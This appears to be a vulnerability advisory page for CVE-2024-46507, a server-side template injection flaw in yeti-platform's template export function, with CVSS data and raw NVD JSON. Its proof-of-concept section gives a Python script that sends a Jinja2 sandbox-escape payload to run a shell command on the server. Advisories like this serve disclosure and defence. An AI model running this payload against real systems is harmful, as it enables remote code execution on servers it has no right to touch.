Security Vulnerability Report
中文
CVE-2024-46507 CVSS 7.3 HIGH

CVE-2024-46507

Published: 2026-05-08 06:16:10
Last Modified: 2026-05-08 19:52:50

Description

A SSTI (server side template injection) vulnerability in the custom template export function in yeti-platform yeti before 2.1.12 allows attackers to execute code on the application server.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:yeti-platform:yeti:*:*:*:*:*:*:*:* - VULNERABLE
yeti-platform < 2.1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target_url = "http://<target-ip>/api/export/template" # SSTI Payload for Jinja2 to execute 'id' command # Using common sandbox escape technique payload = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read() }}" data = { "template": payload, "format": "json" } try: response = requests.post(target_url, json=data) if response.status_code == 200 and response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Command Output:", response.text) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-46507", "sourceIdentifier": "[email protected]", "published": "2026-05-08T06:16:09.840", "lastModified": "2026-05-08T19:52:49.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SSTI (server side template injection) vulnerability in the custom template export function in yeti-platform yeti before 2.1.12 allows attackers to execute code on the application server."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yeti-platform:yeti:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0", "versionEndExcluding": "2.1.12", "matchCriteriaId": "3752433F-DA7B-4388-89D3-472FB0B67282"}]}]}], "references": [{"url": "https://rhinosecuritylabs.com/research/cve-2024-46507-yeti-server-side-template-injection-ssti/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}